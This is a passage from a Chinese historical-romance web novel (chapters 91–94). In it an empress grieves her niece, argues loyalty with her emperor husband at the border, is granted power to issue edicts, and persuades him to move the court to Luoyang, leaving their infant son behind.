明绰看了他一眼,没忍住轻轻勾了勾嘴角。谢维会觉得天威不可测是应该的,萧盈留了他命已经是格外开恩。
但是谢维还没感慨完,又叹了口气道:“而且小公主没了以后,陛下的性子是越来越古怪了。”
明绰一愣:“什么?”
“哦,”谢维想起来了,明绰可能还不知道,“就是星娥的女儿,平康公主。去年冬天得了一场伤寒,唉,那么小的孩子……”
明绰张了张嘴,一时不知道该说什么好。
“陛下伤心欲绝,犯了旧疾,一个月都上不了朝。”谢维摇摇头,“星娥也是哭得呀……”
明绰的眼泪已经落了下来,心里狠狠地揪了起来。去年夏天袁煦才说过,他现在修身养性,旧疾不怎么发了,竟会一下子病到一个月都上不了朝,那是有多痛啊……还有星娥,她的妹妹自己还是个孩子呢。
谢维看着她落泪,一口气便叹不完了似的,轻轻地拍了拍她的肩膀安慰。明绰吸了吸鼻子,努力平复了一下,对他笑了笑,反过来安慰他似的:“我没事。”
谢维便放下了手,明绰又道:“我回去给皇兄和星娥写封信,此事我既知道了,总该宽慰他们两句,还劳烦舅舅帮我转交。”
谢维应了一声,没说什么,这都是应该的。他心思也不在这上头,倒是端详着她的脸,突然道:“阿嫂说得真是没错……”
“舅母说什么?”
“都说平康公主跟皇后长得很像,但阿嫂说,其实这孩子笑起来跟东乡公主小时候更像……”
谢维很惊奇地感叹起来,他本来觉得阿嫂就是随口一说。毕竟明绰和星娥是表姐妹,不是亲姐妹,她们俩之间已经没那么像了。萧盈的女儿,就更不可能和明绰长得像了。
可是刚才明绰含着眼泪朝他一笑,就那么一瞬间,血脉的东西解释不清楚,谢维终于看出来庾夫人在说什么了。
“还真是很像啊。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m
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第91章
谢维本该与明绰谈完就走,但为着她要给帝后捎家书,又多留了半天。
明绰一封信写得洋洋洒洒,开头还是在宽慰皇兄丧女之痛,但后面话锋一转,字字句句都是在劝萧盈没必要对辽东有所企图。辽东还有漠北相隔,在北方都被纳入大燕版图的时候,打得下来也很难守,实在得不偿失……她没有指名道姓说大将军自作主张,但话到这个份上,萧盈不会不明白了。
写到这这里,明绰才觉得放心,准备收笔了,又心疼起平康公主,一边落泪一边又添了一句,希望萧盈好好对待星娥,多多宽慰才是。信纸上沾了她点点泪斑,晕开了几个字。她本想重新誊写一份,但谢维一直在外面等,明绰只好草草塞入信封,出去交给他。
乌兰徵此时已经听谢维解释了怎么回事。把人送走的时候,他还特地问了小公主的名字和生辰。西觉寺凿窟造像供佛,常有信众为家中逝者捐供石刻,以求超度。他想着也为小公主供一尊石刻,算是他做姑丈的尽一份心。
明绰心里感动,主动握着他的手一起送谢维。等谢维离开了,她又把手一抽,说乌兰徵,“昨天还在算计辽东,今天又要给人家女儿供石刻,惯会作态”。
乌兰徵也不恼,只道:“一码归一码。你皇兄给晔儿送的礼可不轻。”
明绰便仔细地瞧着他的神情,想看看他这话说得是不是意有所指。但是乌兰徵说得挺诚恳的,好像确实没别的意思,明绰便道:“他皇长子出生的时候陛下也送了厚礼,咱们又没短礼数。”
乌兰徵让她说得笑起来,两国邦交,倒是弄得跟百姓家里寻常亲戚往来一般。可是她那句下意识的“咱们”说得乌兰徵浑身都舒坦,又来拉她的手,半晌,叹了口气:“一点心意罢了。同样为人父母,我焉不知他所痛?”
他不说这话还好,一说这话明绰又要哭了。她如此难过,本就是因为平康公主的夭折牵动了自己为母的心肠,她根本就不敢想要是晔儿出了什么事该怎么办。乌兰徵也知道她在哭什么,皱着眉头来给她擦眼泪,几乎是命令似的:“不许瞎想,晔儿好好的。”
明绰点了点头,乌兰徵把她拉进怀里,俯身在她泪眼上吻了一下。痒痒的,弄得她想笑。他莫名地冷了几天,虽说明绰也没太把这事儿放在心上,但他这会儿又好了,明绰便忍不住抬起头,不无讽刺道:“陛下忌惮臣妾的母国,就冷落臣妾,现在谈好了,又来哄臣妾了。君恩如此反复,臣妾心里真是惶恐!”
乌兰徵受了莫大冤屈一般:“我冷落你?”
那不是明绰对他横挑鼻子竖挑眼的吗?他敢说话吗?更别说提到母国这么敏感的事情,他哪是冷落,是躲啊。但是明绰现在倒打一耙,就算是给他台阶了。乌兰徵非常识趣地又把人抱紧了:“好好好,我的错。”一面又道:“去换身衣服,带你去个地方。”
“去哪儿?”
“跟我走就是了。”乌兰徵凑到她耳边,又叫她了一声,“溦溦穿厚实些。”
明绰顿时起了一身鸡皮疙瘩:“哎呀,你别这么叫我!”
乌兰徵眨了眨眼:“这不是你的乳名吗?”
明绰恨不得咬死谢维那个多嘴的东西,一时又找不出什么理由不让他叫,只好反问:“难道陛下愿意我用乳名唤你吗?”
乌兰徵有点儿明白她是什么意思,拔拔真故意叫他乳名的时候他也很冒火。但是换成明绰的话,他其实挺愿意的:“你可以叫莫尔阔啊。”
明绰心里马上“咯噔”了一下。她突然想起来,当年乌兰徵从西海回来,她在长秋殿的窗下偷听,段知妘就这样唤过他。只是那个时候她不通乌兰语,听不明白。但这几个音节里包含的宠溺和暧昧就像她床铺下一块小石头,时不时地就膈应她一下。
明绰咬着牙捏他的耳垂:“活到三十都是马祖宗了,还小马驹呢,要不要脸?”
乌兰徵让她刺得说不出来话,看她转头回去换衣服了,犹不甘心地一路跟进屋里。明绰听他的话准备换衣服了,想把他拦在外面,但是乌兰徵手一撑,不让。明绰也就懒得理他,当着他的面解了外袍,拿了一套骑装出来。冬青本来要来伺候,看见陛下杵在那儿,非常知趣地转了个身就走了。
乌兰徵:“那你皇兄不唤你乳名吗?——再厚点。”
明绰莫名地看了他一眼:“到底去哪儿?”
乌兰徵不理她,还是坚持问:“你皇兄唤你什么?”
“那都是小时候了。”
乌兰徵撇撇嘴,这么回答,就说明萧盈确实是唤她乳名的。他也不说话,看着明绰又拿出一套夹棉的乌兰女子服饰,并一件大氅,问询似的看了他一眼,他才点了点头。等明绰换好了又走到他身边,他还是那副不大高兴的样子。明绰便停下来,仰头看着他,露出一个“有话快说”的眼神。
乌兰徵有点儿别扭似的:“你同你皇兄感情也太好了。”
明绰抿了抿嘴,掩饰住了一瞬间的心虚,反而用格外理直气壮的语气反问他:“陛下自己没有妹妹吗?”
“辉儿?”乌兰徵摇摇头,“我可没这么疼辉儿。”
设身处地,辉儿以后要是嫁去建康,受了什么委屈,他肯定也会遣使责问,但出兵真的不太可能。
“我们是一母同胞。”明绰避开他的眼神,抬脚就走,“自然不一样。”
乌兰徵跟在她身后:“你皇兄不是另有生母么?”
天下皆知,谢后是为了揽权才夺了宫人所出的儿子抚养,所以才和大雍天子闹得水火不容。等谢后一死,萧盈就追封了生母,还特意找来了她的家人封侯。
明绰深吸一口气,语气已经有点儿恼羞成怒了:“但我们从小是被当成双生子抚养的,所以感情好。陛下这都不许吗?”
她真恼了,乌兰徵就不追问了,睁着眼睛看着她,有种莫名的委屈神情,声音变得很小:“没有‘不许’……”
明绰咬了咬下唇,要命地从他脸上看到了跟晔儿极为相似的那部分,心里一下子五味杂陈。
她知道不应该,可她就是不愿意乌兰徵这样唤她。她已经把余生都给了乌兰徵,只能为萧盈留住这一点过去了,也为她自己。
明绰想了想,放缓了语气,拉住了他的手:“乳名是给父母亲人唤的,有人唤乳名,那就是有依靠,能撒娇,可以一直做一个小孩。你我都已经为人父母了,世上也没有亲人再让我们无忧无虑地做一个孩子……陛下,该长大了。”
乌兰徵心里一动,意识到一件事。最后一个
唤她溦溦的一定是梁芸姑。他眼中浮现出愧疚之色,轻声道:“我以为这样唤你,会亲密一些……”
明绰唇角一勾,突然叫他:“乌兰徵。”
“嗯?”
明绰又叫:“乌兰徵!”
乌兰徵愣在那里,不明白她什么意思。明绰便道:“你是大燕的天子,谁敢直呼你姓名?全天下只有我,还不够亲密吗?”
乌兰徵看着她,有些哭笑不得地嗤笑了一声。明绰很明显是在哄他,天下直呼他名姓的肯定不只妻子,还有仇寇。但她这样哄了,乌兰徵便很受用似的,揽了她腰带着她往外走:“好,萧明绰。满意了吧?”
明绰听他的话穿得严严实实,说了这么一会儿话已经有点儿热了,又问了一遍:“去哪儿啊?”
乌兰徵只道:“随我去勘察地形。”
明绰惊异地“啊?”了一声,乌兰徵已经抱住她的腰一举,把她直接放到了马上。明绰回过头,只见他准备了四匹马,身后还跟着两匹,背上都驮着东西,一副要在外面过夜的架势。然后他也不顾明绰的疑问,自己翻身上马,扬鞭就走。
二人迅速出了城。明绰满心惊疑不定——不是才跟谢维说了准备退兵了吗?为何又要勘察地形?难道乌兰徵还是对幽州有所图谋?可是骑在马上,风猎猎地吹,她也没法问。本以为至少会有一两个斥候或者近卫跟他们一起去勘察,但乌兰徵也没往大营去,就他们两个人,不歇气地跑了两个多时辰,一路进了山道。明绰也不知道这是哪座山,乌兰徵看起来对地形也已经很熟了,根本不需要“勘察”,只是带着她骑马沿山道往高处走,一路行至一块开阔地,前面便是高崖了,才停下来。
明绰已经被颠得腰酸,乌兰徵翻身下马,过来把她抱了下来。知道她颠得腿软,半扶半抱的,带着她走到了崖边。
“看。”他往远处指了指。
明绰不知道他要自己看什么,视线飘来飘去的。乌兰徵站在她身后,把下巴磕在她肩膀上,让她顺着自己的手指去看。明绰轻轻眯起眼睛,只见平原处连绵一大片的军营,木架的瞭望台上高高地飘扬着一面“雍”字旗,再低一点的地方,还有一面“袁”字旗。
明绰倒吸一口冷气:“陛下!”
乌兰徵似是知道她想岔了,从背后环住她的手臂,先安抚地摁住她:“我不跟袁增打。”
明绰转回头看着他:“那你……”
“找了好几天才找到这个地方。”乌兰徵在她耳边轻声地说话,“袁增警惕得很,边境十里一营,日夜巡视……还好这荒山上还有悬崖一片,也算是进了大雍地界吧。”
明绰听得汗毛都竖起来了,他这几天都不回来就是在找这个地方?非要进大雍地界?他到底想干什么?
“陛下……”她满肚子劝阻的话准备脱口而出,但乌兰徵把她抱得更紧些,轻声打断了她。
“都已经到这儿了,”乌兰徵贴在她耳边,“走之前总要让你回家看一眼吧。”
第92章
夜风猎猎,把一捧篝火吹得“噼啪”作响。明绰坐在乌兰徵给她搬来的一块石头上,手里时不时地去转一下火上烤着的肉。水囊里灌的是酒,喝一口就从嘴里一直烧到胃里。乌兰徵已经把一个简易的毡帐搭了起来,里面铺了一整块的豹子皮,底下还多垫了一层羊毛毡。明绰托着腮,看着他忙前忙后,然后走过来,也不说话,示意她让出半块石头来。
明绰也不知道哪来一股矫情劲,撇过脸,就不让。乌兰徵笑了一声,毫不在意地在她身前席地而坐,赖在她腿上,一边让她把手边的酒囊递过来。明绰也只是摇摇头,自己拿起来喝了一口,就不给他。乌兰徵“嘶”了一声,刚要说话,明绰突然低头,把嘴里噙着的一口酒渡给了他。乌兰徵“咕咚”把酒咽了下去,揽住她的后脑,加深了这个吻。
明绰是高兴的。虽然听到乌兰徵那个话的时候,她也只是撇撇嘴,说她的“家”在建康,偷偷摸摸地在这幽州边境探头探脑一下,算什么“回家”?
嘴上这么说,眼角眉梢却还是带着掩不住的笑意。乌兰徵有意把她往自己身上拉,快要把她从石上拉下来了,她又不肯,在他唇上咬一口,挣开来。乌兰徵跟她分开一些,仰头跟她对视。明绰也盯着他看,手指在他下巴上的胡茬上一点点摸过去,突然嫌弃地“噫”了一声。
乌兰男子成年后皆以蓄须为美,但是明绰不喜欢,嫌他亲在身上太刺了。还好当年乌兰徵从西海回来的时候未蓄须,皮相还是好的。但是有段日子他在长安留得久了,也开始留胡子。乌兰人大多是天生粗硬的卷发,胡茬也不例外,乌兰徵又喜欢在明绰身上亲,每每弄得她胸口脖子都是一团见不了人的红。
后来她就跟乌兰徵说,大雍的士人要么不蓄须,若要蓄须,也是精心修整,跟女子养发一般,十分在意。她的审美改不了,就给他两个选择,要么好好打理,要么剃了。
乌兰徵自是不肯学南方士人一样还要用发油养须,宁可全剃了了事。这次皇后随军,不厌其烦地为陛下剃须,弄得现在乌兰军中风气大改,大家也都跟着以“白面无须”为美。
有明绰给他弄惯了,他现在就不再自己剃了。明绰几天不想理他,他就潦潦草草长了一下巴的胡茬,像只没了家的小狗,看着脏兮兮的。
乌兰徵看她眼神就知道,扭过头去顾火上的肉,很不走心地说:“回去就剃。”
这时节其实不算太冷,只是乌兰徵顾忌明绰产后一直体虚畏寒,要她裹严实些,自己则只有一件单衣。两人穿得竟像不是一个季节的,明绰又怕他冷,把自己的大氅抖开,从背后拥住他,轻声问他:“你这几天就是在找这个地方,想带我‘回家’看一看?”
乌兰徵点了点头。他一直忙着搭帐篷铺毛毡,本就出了汗,还烤着火,他就抖了抖肩膀,嫌热。但是明绰拖长了声音“嗯”一声,偏要这样裹着他。乌兰徵拿她没法子,转过脸去看她:“你以为我在做什么?”
明绰撇撇嘴:“以为你在想法子怎么奇袭幽州。”
乌兰徵“哈”地笑了一声,突然问她:“若我当真要取幽州,你待如何?”
明绰不肯回答,只是反问他:“你会吗?”
乌兰徵轻轻把头后仰,深深地看着她。明绰见他神色稍微严肃了一点,是很认真地在问她这个问题,便也沉了脸色:“臣妾必会力谏劝阻。”
“若我一意孤行呢?”
反了你了。明绰暗自咬牙,心说那肯定是密信皇兄和母国里应外合先弄死你这昏君再抱着我儿子登基啊。
但实际上还是放开他,垂着头做出泫然欲泣的柔顺姿态,轻声道:“那臣妾只有一死了。”
乌兰徵嗤笑了一声,显然是没有把她这话往心里听。但明绰的态度也很明确了,他什么都没说,伸手把杈子上的一块肉转了转。这是他装在马背上带来的一块牛腹肉,已经烤得滋滋滴油。明绰也没有被肉香吸引,看着他火光下映出来的半张侧脸,若有所思。
好一会儿,还是乌兰徵没有忍住,又问:“若是你皇兄先动手呢?”
明绰下意识反驳:“皇兄不会的。”
乌兰徵便转头看了她一眼,似乎有一抹几不可查的失望。他不信谢维那些微妙的企图明绰没有听出来,但她如此坚定地站在了萧盈那一边。那份隐隐的不适又袭上心头——他们兄妹两个感情也太坚固了一些。
“你怎知你皇兄在想什么?”乌兰徵语气淡淡的,但转过头顾着火上的肉,有意不看她,“你已五年不见他了。”
明绰顿时神色一黯。
是啊,她离开建康都已经五年了,萧盈和她说过的话更是太久以前的事情了。当年他得不到实权,处处掣肘,才满腔抱负得不到施展。如今大权在握了,也许就觉得很多事情没有那么简单,朽木栋梁也可以强撑,维持现状就是最好的。也许他在那个位置上坐得太久了,也不可避免地生出了一统天下的野心,毕竟人都是会变的。
明绰突然轻声问:“陛下是想知道,真有那一天,我会站在谁那头?”
乌兰徵反而不答了,他心中其实已经有了答案,所以不想在这件事上多说什么了。他沉默了片刻,只是抽出匕首,割下了一片已经微焦的肉,递给明绰:“先吃点东西。”
但是明绰没接,她非常严肃地看着乌兰徵,一字一句都说得很郑重:“我是你的妻子,是大燕的皇后。若我皇兄兴不义之师,我自然是站在你身边。”
乌兰徵神色稍缓,把手里的肉放了下来,刚想说什么,明绰又道:“但陛下若执意南犯,我也是大雍
的女儿。”
好个不偏不倚。乌兰徵眉头一皱,心头说不出来的不痛快,见她始终不肯吃,自己叼着那块肉,从匕首上撕下来嚼了。但又没什么滋味,他嚼了两下,又“呸”的一声吐在了脚边。
明绰见他神色不善,心里也不高兴起来。她不知道自己这么说有什么问题,这确实就是她心里所想。
“袁增意在辽东,是他们自作主张,不是我皇兄的意思。”明绰干脆把话挑明了,“我已给皇兄去信,等皇兄看到我的信,一定会命袁增班师。我跟陛下保证……”
乌兰徵站了起来,一副没有耐心听她说完的样子,去马上的行囊里取盐和香料。明绰也跟着站起来,眉头紧皱,又道:“陛下要怎么样才肯信我皇兄?他把我嫁过来,就是为了和平。我也是为了两朝能和睦相处——”
乌兰徵终于没忍住打断了她:“你嫁给我,就是为了和平吗?”
明绰愣在那里。不然呢?她最大的职责,这段婚姻最重要的意义,不就是这个吗?
她一个字都没说,但乌兰徵已经从她眼里得到了答案。但他不想跟明绰吵架,他费尽心思把她带来这里,不是为了跟她吵架的。所以他只是深吸了一口气,又回到火边,明绰既然站起来了,他就往石头上一坐,泄愤似的抓起一把粗盐就往肉上撒。
明绰站在那儿看着他,过了一会儿,无声地绕到了他背后,伸手环住了他腰,把脸贴在了他背上。乌兰徵的肌肉微微绷紧,轻轻一动,似是想让她放开。但是明绰抱得紧紧的。
“我心里有你。”明绰的声音很小,几乎是不愿意承认一般。但这话一说出口,便有无限的委屈涌上来。她有的时候也想,若是她心里完全没有乌兰徵,只做皇后,也许就免于很多痛苦。
可是她也不是没有这么做过,刚到长安的时候她就是这么想的,事实却证明了那个时候更痛苦。她无法做一具只有责任的行尸走肉。乌兰徵有的时候让她生气,让她难过,让她失望,可这几年,也是他给了她最多的快乐和安慰,给她近乎毫无保留的爱,让她活着,让她活得有滋味。女子的命运怎会如此身不由己,就像一株树苗,任她空有凌云之志,若夫君不肯为她灌水照光,也只能在长安的宫墙和荒土里无声地枯萎。
她不愿意让乌兰徵像萧盈那样唤她,但乌兰徵在她心里也有他的不可取代。
“我又不是死人,”明绰越说越委屈,在他腰上环得更紧,“你如何待我,我都知道。你怎么还要疑我对你的心?”
乌兰徵没说话,只是拍了拍她的手背让她松开,转过来拉她一起坐下。但石上太小,坐不下两个人,他顺手就把人抱到了腿上,明绰自然地伸手揽住他的脖子,乌兰徵这才发现她是真的掉了眼泪,一时又有些心疼,给她擦了擦眼下。
“有你在,我绝不会南犯。”他轻声承诺,“若你皇兄真如你所说,那辽东无需再战,自是我大燕王土。待我休整两年,积粮屯兵,便可挺进漠北,永绝后患……”
乌兰徵顿了顿,没把心里的话完全说出来。他不只是想彻底解决拔拔兀舒骨,还想把慕怛人的草原也一起打下来,打通一条连接辽东的路。到那时,他就不用在乎幽州挡道,萧盈就算是对辽东有所企图,也于事无补了。
明绰好像在眼前看见了他所说的江山在眼前缓缓展开,一路行来的江河峰峦从图盘上的木雕上活了起来。
“那北方就尽入大燕版图了。”
乌兰徵握住她的手,又道:“若我还有余力,就再往西南打一打。那里的雅隆蛮人向来不服中原,当初他们收留了羌人残部,对我阿耶好生不客气,还没跟他们算账呢。”
明绰咂舌:“怎么路过的狗你都要踢一脚?”
乌兰徵看她一眼,明绰马上改口,贴住他颈窝软着声音哄他:“陛下真是雄心壮志!”
乌兰徵一笑,懒得理睬她的阴阳怪气:“到时大燕横贯九州,漠北西南尽入彀中,你我共治天下,百年后再把这江山交到我们的晔儿手上,那我这一生也不枉了。”
他说着说着,好像已经打下了无比雄伟的版图,露出了甚是满足的微笑。但明绰突然不笑了,定定地看着他稍浅一些的眼眸,轻声重复了一遍:“共治天下?”
这四个字他从来没有说过。明绰怀孕之前,他允许皇后与他同朝听政,用的词也只是“帝后同尊”。大雍也是帝后同尊,但是皇后终究只有在天子不在的时候才能“代行天子事”。
乌兰徵把她一只手握在了手里,细细地摩挲她掌心的细嫩皮肤,就在明绰以为他要改口的时候,他突然道:“我知道你为何不愿告诉我当初是谁下的手。”
明绰的手指一颤,想要蜷缩起来,却被乌兰徵扣住了手指。
他怀疑了很多人,想过了很多种情况,也私心里怨过,明绰为何不肯相信他,为何将他推到千里之外……然后战争又来了,他带着乙满出征的时候,突然在想,如果这个时候明绰告诉他,此人就是乙满,他应该怎么办?
乌兰徵就是在那一刻产生了充满愧疚的庆幸。明绰不信任他,但某种程度上,也是免他为难。
“我的天下,就是你的天下。”乌兰徵看着她,说得非常简单,“你若不信我能替你报仇,那你就自己报仇。”
江山他可以打,但很多事他做不到。萧明绰可以。她已经一次次证明过这一点,而他也早已习惯了依赖她。
他要做的,不过是跟她分享这至高无上的权力。
“从此以后,殿前听政,调兵任官,储君废立,生杀予夺……”乌兰徵顿了顿,“皇后可直发圣旨。”
明绰很长时间都没有说话,她就这么看着乌兰徵,恨不得用眼神在他脸上烧出一个洞来。她听出来了,他本想说“皇后懿旨同朕圣旨”。但这话他已经说过一次,当时朝中无人肯认。她的懿旨,必须重新发一道加盖过陛下玺印的圣旨,才有人不情不愿地相信这是陛下的意思。所以乌兰徵也不再说这句空泛苍白的承诺了。
已经生下了继承人,陪伴过大军一路收洛阳,定江山的萧明绰,也不再是当初半步不出长安宫城的皇后。她的夫君愿意让她见光,愿意为她灌水,愿意看着她参天凌云。
篝火已经很长时间无人在意,烧得渐弱下去,却始终不肯熄,幽幽地燃在他们的眼睛里,烧出蔓延的欲|望。
“陛下一诺千金,”明绰说得很慢,“我可要当真了。”
乌兰徵挨近她,用自己的额头贴住了她的:“我只怕你不当真。”
篝火里突然传来干柴爆裂的“啪”一声,在暗中溅出一片火星。乌兰徵下意识要转头去看,但是明绰突然强硬地掰过了他的脸,不容他抗拒地吻住了他。
第93章
她就知道,乌兰徵那些胡茬子最后有她好受的。
【……】
他身上绷得发紧,好一会儿才松下来,伏在她身上,与她皮肉紧紧相贴。明绰全身都化成水似的,耳朵里面嗡鸣一片。她知道刚才她叫得太失控了,多少有点丢人。所以不肯说话,
在黑暗里紧紧咬着下唇。【……】酝酿着要发作。
可是还没酝酿完,她的肚子就先“咕”地叫起来。乌兰徵就贴在她胸口,听着便格外响。他没忍住“噗嗤”一声笑了出来,明绰更加羞恼,一下子把他推开,自己滚到一边,拿始终没脱下来的衣裳裹住身体,委屈得哼哼唧唧的。
乌兰徵过来扒拉了她一下,她也不肯动,紧紧捂着,说什么也不让他再碰。乌兰徵只好忍着笑,轻声道:“我去看看那块肉。”
明绰翻过脸来:“早烤成碳了!”
乌兰徵顺手把帘子掀开,看了一眼:“火灭了,里面说不定没焦。”
他一边说便一边把裤子穿好,衣服倒只是草草一披,也不怕冷,仍是露着大片胸|腹,外面的月光从他掀开的毡帐帘子缝隙里透进来,映得他身上一层薄汗亮晶晶的。本来都要出去了,又突然想起什么,扯住内裳下摆狠狠一撕,拽下来一块软布,伸到明绰身上。
明绰知道他要干什么,一把抢下来,急道:“我自己来!”
乌兰徵也不勉强,但还是非要说一句:“你我是夫妻,有什么好羞的?”
明绰登时手脚并用地撵他出去。乌兰徵笑着被她推出来,去检查那块早早被他们遗忘的肉。
挨着火的那一面已彻底焦了,但上面的还好。乌兰徵把火重新生起来,把焦掉的部分切下来,又从行囊里找出饼子来烘烤,忙活了半天,明绰才从毡帐里出来,手里捏着一团布,以迅雷不及掩耳之势丢火里烧了。
乌兰徵张了张嘴,刚想调侃什么,见她发髻松散,衣襟半开,火光下仍是双颊绯红,浑身上下说不出的一股劲儿,美得好像骨头都是在水里泡酥过的,一时竟忘了言语。明绰懒得理他看痴了的神情,往他身边一坐,自己去抓饼子吃。她今天骑了这么长时间的马,又让乌兰徵这样折腾过一遍,真是饿得不行了。
乌兰徵含笑看着她吃,一面把完好的牛肉切下来给她,明绰看他不动,抬头问了一句:“你不饿吗?”
乌兰徵的眼神往她领口一瞟,小声道:“我吃饱了。”
明绰嚼饼子的动作一滞,缓缓地转过脸来,腮帮子鼓鼓的,但眼神极具威慑力。可乌兰徵又不怕她,张开嘴还要说,明绰嘴里的饼子也没咽下去,突然冷冷地警告他:“你敢叫‘额珂’试试?”
乌兰徵的嘴唇诡异地动了两下,又非常识相地闭上了,欲盖弥彰地摸了摸鼻子。他发现了,明绰虽然在床上折腾过了也会怕羞,可是只要衣服穿好,那是半点柔情蜜意也没有,好像她只要自己舒服完了,就一点儿耐心都不剩了。反倒是每每让乌兰徵在事后有一种被她“使用”了的轻微羞耻感。
乌兰徵掩饰了一下被明绰识破的尴尬,转而道:“等咱们回去,晔儿应该会叫额珂和阿耶了。”
明绰闻言没说什么,手里的饼子和肉似是也没了什么滋味,干巴巴地嚼在嘴里,粗盐粒像石头似的,抵在她的舌尖上。
乌兰徵看着她,意识到她又露出了这种神情。他老觉得这段时间明绰心里在想什么事,想得非常痛苦,又不愿意告诉他。前几天他觉得和她的母国有关,但方才分明已经说开了,她还是露出了这样的神情。
乌兰徵意识到自己可能猜错了,她心里的事也许不是和她皇兄有关,而是和晔儿有关。
“晔儿还没记事呢。”乌兰徵猜了猜,温声安慰她,“抱回来养两天,他便知道你才是他的阿娘了。”
他有意唤了一个词,不想再让明绰想到晔儿的第一声“额珂”可能是叫的泰赤哈氏。
明绰听出来他的意思了,转过脸来看着他,眼里的情绪复杂得难以言喻。
乌兰徵想体贴的时候真的很体贴,他今晚太好了,好得让她心里都有些发着颤的疼。也许那些承诺不过是他一时昏了头,等他们回到长安又会有这样那样的事情,无数明里暗里的阻碍她的力量——即使明绰心里很清楚这样的可能性,她还是忍不住在这个夜晚为了他的真心融化。
从她一出生开始,那道门便对她关上了。她的太父用“东乡公主”的封号,牢牢地锁死了那扇门,她的母后用了十五年,撞得头破血流,却始终没能够撞开那道锁。那时候她还不懂,但现在,乌兰徵给她打开了一条缝。
她竟然在此时想起了很久以前段知妘说的话,通过美色和情爱获得权力没什么。她必须用尽手里的一切去抢,利用一切能利用的,也舍弃一切能舍弃的。
哪怕是晔儿。
“陛下,”她终于下定了这个数月来都无法下定的决心,脸上反而露出了一丝微笑,“我一直在想,其实我们也不必着急回长安。”
乌兰徵眉毛高高一挑,惊异地看着她。
明绰放下了手里的食物:“拔拔兀舒骨未除,何不干脆驻军在洛阳呢?洛阳是通衢要道,中原粮仓,若大军在洛阳周边屯田落户,也可以解决陛下来日征漠北的粮草问题。”
乌兰徵有些怀疑地眯起眼睛,打量了她两下:“这是方千绪的主意吧?”
“是我的主意。”一直在心里犹豫的念头一旦说了出来,就说得很顺了。明绰有条不紊地跟乌兰徵讲道理,“陛下有横扫天下的雄心自然是好事,但雅隆的蛮人仗着地势天险,向好不好打,我大雍也是吃过亏的。陛下也说了,大燕的版图已经横跨九州,这就足够大了,殊不知其中还有多少地方豪强,并未对大燕心悦诚服?”
乌兰徵没作声,但神情已经是被说动的样子。天水、京兆等地都有汉人世家盘踞,兵卒、税收、徭役,什么都征不上来,连地方官员都是他们自己任命的,半点不向长安汇报。在洛阳附近的河东,更是聚集着以杨、郑两族为首的势力,他们先被乌兰郁弗征服,又被拔拔真割去,如今再回到大燕手中,实际上他们谁也不服。
明绰慢条斯理地撕了手中一块已经烧成肉干的牛肉,喂到了乌兰徵嘴边:“从前他们只是肘腋之患,陛下要先处理东西叛乱……可如今叛乱都平了,这些人无法无天的日子,也该到头了吧?”
乌兰徵衔了肉,默不作声地嚼。那肉已经烤得太老了,他很是嚼了一会儿。但他的心思根本不在嘴里吃什么上头,只是琢磨着明绰的话,像一匹嚼着干草的老马。
“你的意思是,”乌兰徵松动了,“迁都洛阳?”
“迁都怕是有些太劳民伤财了。”明绰对这个问题早有准备,“但洛阳是中原腹地,同样是汉人的古都,陛下若常驻于此,不如设东西两都,名正言顺,做西海人与汉人的王。”
乌兰徵闻言就是一哂。皇后又开始给他灌迷魂汤了,说明这个事背后她还有自己的小心思。其实这也不难猜,迁到洛阳自然对皇后大大有益。天子跟皇后一起留在洛阳,实际的朝廷中心必然会转移到洛阳。可皇后又要他设立两都,不废长安,那就是为了筛选她要的人到洛阳,不要的人留长安。
远离了西海王公们的掣肘,他刚刚许下的直发圣旨之权才有分量得多。
乌兰徵定定地看着明绰,终于知道她这段日子到底在琢磨什么事情琢磨得这么痛苦了,也知道为什么,最近一提到晔儿她就那样敏感,反过来先指责他心里想不到孩子。
泰赤哈氏背后是步察巴合。先不说西海王公们若是意识到皇后有意把他们都丢在长安,在洛阳另起炉灶,会不会从中作梗。就算没人敢拦,从长安到洛阳的路,就算是将士们也要走二十多天,一路的颠簸辛苦,他们大人都很遭罪,晔儿还这么小,他经受得起吗?
民间逃难都知道,三岁以下的婴儿不要带着上路,活不成的。
“你想好了?”乌兰徵最后只问了她一句。
明绰狠狠忍了一下才克制住眼泪滚出来。她要怎么去回答这个问题?乌兰徵是要她笃定地说出口,没错,她为了自己的权势,要把亲生的儿子丢下了?
她不说话,乌兰徵就也皱着眉。明绰的指责是出于她自己的心虚,其实乌兰徵也很想孩子——好吧,他自认比不上做母亲的,所以一直没有跟明绰顶过嘴。但一想到他还要不知道多久才能见到晔儿,他心里就非常不悦。
“我直到七岁才见到了阿耶。”乌兰徵突然说,“普达惹大可敦以前不让他见我。”
“我知道……”
乌兰徵看着她:“晔儿还没出生的时候我就跟自己发誓,我绝不会让他和我小时候一样。”
明绰便不说了,低着头,只是流泪。乌兰徵看着她哭,又不忍心再说什么,把她搂进了怀里。明绰伏在他肩头,咬紧下唇,但眼泪还是止不住地往下落,
沾湿了他的脖颈。
“你要是真的想好了,我们就回洛阳。”乌兰徵妥协了,“等晔儿三岁,再回去接他。”
“好。”明绰双手环上他的肩膀,长长地呼出了一口气。三岁可以,她只需要再熬两年。两年而已,很快的,她闭上眼睛告诉自己。
很快的。
第94章
兴和八年夏,燕军自平城班师,但并未前往洛阳,反而绕道去了河东,就驻在蒲城外。
在蒲城的河东太守不出意外姓郑,名郑徇。去年方千绪曾谏言乌兰徵,恐洛阳守备空虚,民心不附,燕军一走会再生变故,这个“变故”,暗指的就是离洛阳西北的河东。当年拔拔真叛主,长安失去了潼关以东的控制权,洛阳就一度落入郑徇之手。长安派人打,他就跑。长安顾不上,他就又来占洛阳,讨人厌得很。直到后来拔拔真借着大燕与贺阆在北镇起摩擦的机会拿下了洛阳,才将郑徇彻底赶回了蒲城。
说起来,石简当年就是这么跟郑徇打上的交道。
乌兰徵便命石简入城,先探探郑徇的态度。不过半天,石简就带回了郑氏所献财宝美人。显然,郑徇自知根本没有对抗乌兰大军的能力,大有以钱买命之意,上书乞怜都不敢再称太守,只敢说自己是“郑氏族老”。
第二日,军中再派人传令,说大军绕道只是为了避开洛阳疫病,但营中艰苦,皇后是女眷,陛下心中不忍,想让皇后进城另寻舒适之所。话一传到,蒲城立刻城门大开,郑徇亲自来迎。
石简率亲随护送皇后进城。郑氏府上摆席面招待皇后,整个河东的世家大族都来了,明绰就当着他们的面把那些美人财宝都还了回去,说河东亦是大燕王土,为君者自有庇佑臣民的责任,没有这样取民脂膏的道理。
